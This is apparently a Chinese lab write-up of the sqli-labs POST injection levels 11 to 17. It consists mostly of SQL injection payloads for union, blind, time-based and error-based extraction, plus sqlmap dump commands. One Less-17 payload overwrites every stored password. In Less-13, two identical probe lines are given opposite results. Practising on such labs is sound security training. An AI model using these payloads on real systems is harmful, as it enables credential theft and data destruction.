SQLI-LIBS POST型注入11-17题实战

目录

Less-11

less-12

Less-13

Less-14

Less-15

Less-16

Less-17


Less-11

       POST ‘单引号注入

       判断显示位

uname=&passwd=' union select 1,2 -- - 确认显示位为1和2

       数据库名和数据库用户

uname=&passwd=' union select user(),database()-- - security和root@localhost

       表名

uname=&passwd=' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security" -- -   确认表名emails,referers,uagents,users

       users表字段名

uname=&passwd=' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"-- - 确认字段名id,username,password

       爆字段

uname=&passwd=' union select group_concat(username),group_concat(password) from users -- -  得到账号和密码

less-12

       POST双引号加)注入判断

uname=&passwd=" and 1=1 -- - 报错

uname=&passwd=") and 1=1 -- - 正常

       判断显示位

uname=&passwd=") union select 1,2  -- -

       余下操作与less-1同理

Less-13

       单引号双报错注入

uname=admin&passwd=admin') order by 2-- - 判断查询位为2位

       判断数据库名长度

uname=admin&passwd=admin') and length(database())>8 -- - 报错

uname=admin&passwd=admin') and length(database())>7 -- - 正常 数据库长度为8

       判断数据库名首字母ASCII码值

uname=admin&passwd=admin') and ascii(left(database(),1))>114 -- - 正常

uname=admin&passwd=admin') and ascii(left(database(),1))>115 -- - 报错 说明首字母为s

       判断数据库第二个字母

uname=admin&passwd=admin') and ascii(substr(database(),2,1))>101 -- - 报错

uname=admin&passwd=admin') and ascii(substr(database(),2,1))>100 -- - 说明第二个字母为e

       依次算出数据库名为security

       判断数据表数量

uname=admin&passwd=admin') and (select count(table_name) from information_schema.tables where table_schema="security")=4 -- - 数量为4

       判断第一个表首字母

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>100 -- - 正常

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>101 -- - 报错 首字母为e

       判断第一个表第二个字母

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1))>108 -- - 正常

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1))>109 -- - 报错,第二个字母为m

       判断第四个表第一个字母

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))>116 -- - 正常

uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))>117 -- - 报错,第一个字母为u

       判断users表中有几个字段

uname=admin&passwd=admin') and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users" )=3 -- - 数量为3

       判断第一个字段的首字母

uname=admin&passwd=admin') and ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))>104 -- - 正常

uname=admin&passwd=admin') and ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))>105 -- - 报错  第一个字母为i

       得出id,username,password字段

       判断username字段第一个值的第一个字母

uname=admin&passwd=admin') and ascii(substr((select username from users limit 0,1),1,1))>67 -- - 正常

uname=admin&passwd=admin') and ascii(substr((select username from users limit 0,1),1,1))>68 -- - 报错  说明首字母为D

       判断用户名Dumb的密码

uname=admin&passwd=admin') and ascii(substr((select password from users where username="dumb"),1,1))>68 -- - 报错

uname=admin&passwd=admin') and ascii(substr((select password from users where username="dumb"),1,1))>68 -- - 正常 说明首字母为D

       至此账号密码都有了,使用脚本去跑

       抓包将post请求体和数据保存为123.txt,并使用sqlmap去跑

 

sqlmap -r 123.txt --dump -T users -D security

      

 

Less-14

       与13类似,将post请求头和请求头保存至文本中,使用sqlmap去跑

sqlmap -r 123.txt --dump -T users -D security --level 5 --risk 3

Less-15

       单引号盲注判断

uname=admin&passwd=admin' -- - 正常

uname=admin&passwd=admin“ -- - 异常

       判断数据库名长度

uname=admin&passwd=admin' and length(database())>8 and sleep(3)-- - 不停顿

uname=admin&passwd=admin' and length(database())>7 and sleep(3)-- - 停顿3秒,长度为8

       判断数据库名首字母

uname=admin&passwd=admin' and ascii(substr((database()),1,1))=115 and sleep(3)-- - 首字母为s

       剩下操作与13类似

       使用sqlmap跑出结果

Less-16

       双引号加)判断

uname=admin&passwd=admin") and sleep(3) -- - 睡眠了3秒

       剩下的操作与15一致,同样保存post数据到txt文件中使用sqlmap运行

sqlmap -r 123.txt --dump -T users -D security --level 5

Less-17

       单引号update型注入

uname=admin&passwd=admin' where 1=1 and sleep(2) -- - 睡眠2秒,该操作将所有密码都给设置成了admin

       延时注入

uname=admin&passwd=123' and length(database())=8 and sleep(2) -- - 延时26秒,因为数据库中有13条数据

       余下操作与上面一致,因为延时注入这种方法会将数据给改写,所以尝试报错注入

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -得到数据库名security

       查询表

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1) -- - 得到数据表

       查询列名

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"),0x7e),1) -- - 得到字段名

       查询其他表的数据

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(email_id) from security.emails),0x7e),1) -- -

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值